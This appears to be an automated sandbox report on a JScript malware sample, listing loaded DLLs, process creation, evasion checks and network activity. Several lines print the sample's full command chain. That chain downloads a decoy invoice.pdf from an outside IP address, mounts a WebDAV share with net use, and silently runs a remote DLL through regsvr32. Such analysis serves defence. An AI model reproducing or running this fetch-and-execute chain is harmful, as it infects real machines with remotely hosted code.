Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3280.js.csv");ITextStream.WriteLine(" entry:8626 f:izludzrzr");ITextStream.WriteLine(" exec:2 f:izludzrzr");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49708

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5224			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4536			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4576	Thread sleep count: 5224 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3764	Thread sleep count: 4536 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2280	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2624	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6336	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2876	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6620	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4020	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1501056122.0000021FD49EE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1500355721.0000021FD49EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0L_%.u
Source: net.exe, 00000007.00000002.1501056122.0000021FD49EE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1500355721.0000021FD49EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2715592468.0000012D2725A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2715546001.0000012D27240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.2714098670.0000012D21A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`p$'-
Source: net.exe, 00000007.00000002.1500817503.0000021FD4990000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW?

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

